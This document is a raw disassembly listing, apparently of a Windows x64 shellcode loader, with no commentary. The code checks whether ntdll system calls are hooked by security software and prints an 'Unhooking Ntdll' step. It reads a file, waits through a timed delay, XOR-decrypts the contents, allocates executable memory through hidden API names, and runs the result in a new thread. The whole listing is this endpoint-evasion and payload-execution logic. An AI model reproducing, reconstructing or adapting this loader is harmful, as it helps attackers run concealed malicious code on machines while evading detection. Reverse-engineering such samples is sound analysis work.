jmp 0x14000dfa1
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000ed11
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000e000
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000df90
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000dfe8
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000df90
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000dfd0
mov edx, r10d
jmp 0x14000dfe0
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000e029
add r9, 0x10
cmp r8, r9
je 0x14000dfb2
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000e050
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000e053
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000e080
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000e083
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000e0b0
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000e0b3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000e020
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000e020
lea rcx, str.File_exists_
call fcn.140009420
call fcn.14000a350
lea rcx, [0x14004d9e8]
call fcn.140022900
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000e124
lea rcx, str.NtAllocateVirtualMemory_Hooked
jmp 0x14000e12b
lea rcx, str.NtAllocateVirtualMemory_Not_Hooked
call fcn.140022900
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000e15e
lea rcx, str.NtProtectVirtualMemory_Hooked
jmp 0x14000e165
lea rcx, str.NtProtectVirtualMemory_Not_Hooked
call fcn.140022900
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000e198
lea rcx, str.NtCreateThreadEx_Hooked
jmp 0x14000e19f
lea rcx, str.NtCreateThreadEx_Not_Hooked
call fcn.140022900
lea rcx, [0x14004d9e8]
call fcn.140022900
lea rcx, str.___Unhooking_Ntdll
call fcn.140022900
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0xe8]
mov r8d, 0x20
call fcn.14000adb0
mov rax, qword [rbp - 0x48]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x38], 6
je 0x14000e1f7
lea rcx, str.Failed_to_open_file_
call fcn.140009420
call fcn.14000a350
jmp 0x14000ec1f
mov rdi, qword [rbp + rax]
test rdi, rdi
sete al
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], 0
xor ebx, ebx
lea rsi, [rbp + 0x128]
jmp 0x14000e24e
dec r8d
mov dword [rdx], r8d
inc rcx
mov qword [rax], rcx
xor eax, eax
test al, al
je 0x14000e260
test rdi, rdi
jne 0x14000e290
jmp 0x14000e2c7
test rdi, rdi
je 0x14000e2c7
mov rax, qword [rdi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x14000e280
mov rcx, qword [rdi + 0x50]
cmp dword [rcx], 0
jle 0x14000e280
movzx ebx, byte [rax]
jmp 0x14000e290
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x30]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14000e2c7
mov rcx, rsi
mov edx, ebx
call fcn.140008960
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000e2b2
mov rdx, qword [rdi + 0x50]
mov r8d, dword [rdx]
test r8d, r8d
jg 0x14000e240
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x38]
cmp eax, 0xffffffff
sete al
jne 0x14000e24e
xor edi, edi
jmp 0x14000e24e
lea rcx, [rbp - 0x38]
call fcn.14000b650
test rax, rax
jne 0x14000e30b
mov rax, qword [rbp - 0x48]
movsxd rdx, dword [rax + 4]
xor r8d, r8d
cmp qword [rbp + rdx], 0
sete r8b
shl r8d, 2
mov eax, dword [rbp + rdx - 0x38]
mov ecx, dword [rbp + rdx - 0x34]
and eax, 0x15
or eax, r8d
or eax, 2
mov dword [rbp + rdx - 0x38], eax
and eax, ecx
jne 0x14000ed6d
call fcn.1400142a4
mov rdi, rax
call fcn.140014288
cmp rdi, 0x989680
jne 0x14000e327
imul rdi, rax, 0x64
jmp 0x14000e36b
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x14000e33a
cqo
idiv rdi
jmp 0x14000e33e
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x14000e362
cqo
idiv rdi
mov rdi, rax
jmp 0x14000e368
xor edx, edx
div edi
mov edi, eax
add rdi, rcx
call fcn.1400142a4
mov rbx, rax
call fcn.140014288
cmp rbx, 0x989680
mov qword [rbp + 0x168], rdi
jne 0x14000e391
mov rdi, r15
imul rax, rax, 0x64
jmp 0x14000e3d3
mov rcx, rax
or rcx, rbx
shr rcx, 0x20
je 0x14000e3a4
cqo
idiv rbx
jmp 0x14000e3a8
xor edx, edx
div ebx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x14000e3c9
cqo
idiv rbx
jmp 0x14000e3cd
xor edx, edx
div ebx
mov rdi, r15
add rax, rcx
movabs rcx, 0x12a05f200
add rcx, rax
movabs rdx, 0x7ffffffed5fa0dff
cmp rax, rdx
movabs r13, 0x7fffffffffffffff
cmovl r13, rcx
movabs r15, 0x311cdad160000
movabs r12, 0x112e0be826d694b3
lea rbx, [rbp + 0x170]
nop word cs:[rax + rax]
call fcn.1400142a4
mov r14, rax
call fcn.140014288
cmp r14, 0x989680
jne 0x14000e440
imul rcx, rax, 0x64
jmp 0x14000e486
mov rcx, rax
or rcx, r14
shr rcx, 0x20
je 0x14000e456
cqo
idiv r14
mov rcx, rax
jmp 0x14000e45d
xor edx, edx
div r14d
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, r14
or rdx, rax
shr rdx, 0x20
je 0x14000e477
cqo
idiv r14
jmp 0x14000e47c
xor edx, edx
div r14d
imul rcx, rcx, 0x3b9aca00
add rcx, rax
mov r14, r13
sub r14, rcx
jle 0x14000e4d9
call fcn.140014258
imul rax, rax, 0x64
cmp r14, r15
cmovge r14, r15
add r14, rax
mov rax, r14
imul r12
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x1a
add rdx, rax
mov qword [rbp + 0x170], rdx
imul eax, edx, 0xc4653600
add r14d, eax
mov dword [rbp + 0x178], r14d
mov rcx, rbx
call fcn.1400142d0
jmp 0x14000e420
call fcn.1400142a4
mov rbx, rax
call fcn.140014288
cmp rbx, 0x989680
jne 0x14000e506
imul rax, rax, 0x64
mov r15, rdi
lea r12, vtable.std::ios_base.0
mov r8, qword [rbp + 0x168]
jmp 0x14000e556
mov rcx, rax
or rcx, rbx
shr rcx, 0x20
mov r15, rdi
lea r12, vtable.std::ios_base.0
je 0x14000e523
cqo
idiv rbx
jmp 0x14000e527
xor edx, edx
div ebx
mov r8, qword [rbp + 0x168]
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x14000e54f
cqo
idiv rbx
jmp 0x14000e553
xor edx, edx
div ebx
add rax, rcx
sub rax, r8
movabs rcx, 0xbce4217d2849cb25
imul rcx
mov rax, rdx
shr rax, 0x12
shr rdx, 0x3f
lea ecx, [rax + rdx]
add ecx, 0x7f149
call fcn.140008ae0
mov word [rbp + 0x183], 0x3032
lea rdx, [rbp + 0x17f]
mov dword [rbp + 0x17f], 0x35303235
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], 0
lea rdi, [rbp + 0x108]
mov r8d, 6
mov rcx, rdi
call fcn.140008380
xor ecx, ecx
call fcn.1400211f0
mov ecx, eax
call fcn.140022b90
mov ebx, 0x1c
nop dword [rax]
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x154], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x158], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x15c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x160], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x164], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x168], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x16c], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rbx + 0x170], eax
add rbx, 0x20
cmp rbx, 0x19c
jne 0x14000e5f0
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f0], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f4], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2f8], eax
call fcn.140022ba8
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x2fc], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000e831
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000e969
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000e890
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000e820
mov edx, dword [rbp + r8*4 + 0x170]
jmp 0x14000e878
mov dword [rbp + r8*4 + 0x170], r10d
mov dword [rbp + r9*4 + 0x170], edx
mov r8, r9
cmp rax, r9
je 0x14000e820
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 + 0x174]
cmp edx, r10d
jg 0x14000e860
mov edx, r10d
jmp 0x14000e870
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000e8b9
add r9, 0x10
cmp r8, r9
je 0x14000e842
mov r10d, dword [rbp + r9 + 0x170]
mov r11d, dword [rbp + r9 + 0x174]
cmp r10d, r11d
jle 0x14000e8e0
mov dword [rbp + r9 + 0x170], r11d
mov dword [rbp + r9 + 0x174], r10d
jmp 0x14000e8e3
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x178]
cmp r10d, r11d
jle 0x14000e910
mov dword [rbp + r9 + 0x174], r11d
mov dword [rbp + r9 + 0x178], r10d
jmp 0x14000e913
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x17c]
cmp r10d, r11d
jle 0x14000e940
mov dword [rbp + r9 + 0x178], r11d
mov dword [rbp + r9 + 0x17c], r10d
jmp 0x14000e943
mov r10d, r11d
mov r11d, dword [rbp + r9 + 0x180]
cmp r10d, r11d
jle 0x14000e8b0
mov dword [rbp + r9 + 0x17c], r11d
mov dword [rbp + r9 + 0x180], r10d
jmp 0x14000e8b0
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x160], 0xf
mov byte [rbp + 0x148], 0
cmp qword [rbp + 0x138], 0
je 0x14000ea35
xor ebx, ebx
lea r14, [rbp + 0x148]
nop dword [rax + rax]
cmp qword [rbp + 0x140], 0x10
mov rax, rsi
jb 0x14000e9c4
mov rax, qword [rbp + 0x128]
movzx r8d, byte [rax + rbx]
mov rcx, qword [rbp + 0x118]
mov rax, rbx
or rax, rcx
shr rax, 0x20
je 0x14000e9f0
mov rax, rbx
xor edx, edx
div rcx
jmp 0x14000e9f6
mov eax, ebx
xor edx, edx
div ecx
cmp qword [rbp + 0x120], 0x10
mov rax, rdi
jb 0x14000ea0a
mov rax, qword [rbp + 0x108]
xor r8b, byte [rax + rdx]
mov rcx, r14
mov edx, r8d
call fcn.140008960
inc rbx
cmp rbx, qword [rbp + 0x138]
jb 0x14000e9b0
mov rsi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x160]
jmp 0x14000ea3c
mov ebx, 0xf
xor esi, esi
mov r14, qword [rbp + 0x148]
movabs rax, 0x636f6c6c416c61
mov qword [rbp + 0xcd], rax
movabs rax, 0x416c617574726956
mov qword [rbp + 0xc8], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xc8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x3000
mov r9d, 0x40
call rax
mov rdi, rax
cmp rbx, 0x10
lea rdx, [rbp + 0x148]
cmovae rdx, r14
mov rcx, rax
mov r8, rsi
call fcn.14000f020
movabs rax, 0x64616572685465
mov qword [rbp + 0xdd], rax
movabs rax, 0x6854657461657243
mov qword [rbp + 0xd8], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xd8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
xor r9d, r9d
call rax
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
movaps xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x180], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x170]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
mov edx, 0xffffffff
call rax
mov rax, qword [rbp + 0x160]
cmp rax, 0x10
jb 0x14000eb95
mov rcx, qword [rbp + 0x148]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000eb90
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000ed68
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c8
mov rax, qword [rbp + 0x120]
cmp rax, 0x10
jb 0x14000ebda
mov rcx, qword [rbp + 0x108]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ebd5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000ed68
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c8
mov rax, qword [rbp + 0x140]
cmp rax, 0x10
jb 0x14000ec1f
mov rcx, qword [rbp + 0x128]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ec1a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000ed68
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c8
lea rsi, [rbp + 0x68]
mov rax, qword [rbp - 0x48]
movsxd rax, dword [rax + 4]
mov qword [rbp + rax - 0x48], r15
mov rax, qword [rbp - 0x48]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x4c], ecx
lea rcx, [rbp - 0x38]
call fcn.14000b510
mov qword [rbp + 0x68], r12
mov rcx, rsi
call fcn.140013760
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000ec85
lea rcx, str.NtAllocateVirtualMemory_Hooked
jmp 0x14000ec8c
lea rcx, str.NtAllocateVirtualMemory_Not_Hooked
call fcn.140022900
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000ecbf
lea rcx, str.NtProtectVirtualMemory_Hooked
jmp 0x14000ecc6
lea rcx, str.NtProtectVirtualMemory_Not_Hooked
call fcn.140022900
lea rcx, [0x14004f2cf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rax], 0xb8d18b4c
je 0x14000ecf9
lea rcx, str.NtCreateThreadEx_Hooked
jmp 0x14000ed00
lea rcx, str.NtCreateThreadEx_Not_Hooked
call fcn.140022900
lea rcx, str._n_n___Finished_____
call fcn.140022900
mov rax, qword [rbp + 0x100]
cmp rax, 0x10
jb 0x14000ed52
mov rcx, qword [rbp + 0xe8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ed4d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000ed68
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c8
xor eax, eax
add rsp, 0x388
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400209f4
test cl, 2
lea rcx, [0x14004ef39]
lea rdx, [0x14004ef23]
cmove rdx, rcx
test al, 4
lea rsi, [0x14004ef4e]
cmove rsi, rdx
lea rdi, [rbp + 0x108]
mov rcx, rdi
mov edx, 1
call fcn.140009a20
lea rcx, [rbp + 0x170]
mov rdx, rsi
mov r8, rdi
call fcn.140009aa0
lea rdx, [0x140056c48]
lea rcx, [rbp + 0x170]
call fcn.140015cc8
int3